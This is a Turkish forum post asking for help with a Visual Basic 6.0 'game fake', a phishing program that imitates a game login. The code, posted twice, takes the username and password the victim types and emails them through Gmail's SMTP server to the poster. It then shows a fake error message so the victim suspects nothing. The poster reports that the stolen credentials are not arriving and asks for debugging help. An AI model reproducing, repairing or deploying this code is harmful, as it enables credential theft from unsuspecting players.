- 21 Nis 2013
- 194
- 0
Arkadaşlar visual basic 6.0 oyun fakesi yapayım dedim herşeyi tamamladım kodları yazdım gmaili kendime göre ayarladım fakat uygulama hata mesajı vermiyor ve kullanıcı adı,şifreler gmail hesabıma gelmiyor lütfen yardım..
Kullandığım Kodlar:
Private Sub Command1_Click()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "bilgileri gönderecek mail adresi" '
Flds.Item(schema & "sendpassword") = "bilgileri gönderecek mailin şifresi" '
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "bilgilerin gönderileceği mail adresi" '
.From = "bilgileri gönderecek mail adresi" '
.Subject = "mail konu başlığı"
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
MsgBox "hata mesajınız", vbCritical, "hata mesajı başlığınız" '
End Sub
Kullandığım Kodlar:
Private Sub Command1_Click()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "bilgileri gönderecek mail adresi" '
Flds.Item(schema & "sendpassword") = "bilgileri gönderecek mailin şifresi" '
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "bilgilerin gönderileceği mail adresi" '
.From = "bilgileri gönderecek mail adresi" '
.Subject = "mail konu başlığı"
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
MsgBox "hata mesajınız", vbCritical, "hata mesajı başlığınız" '
End Sub
Son düzenleme: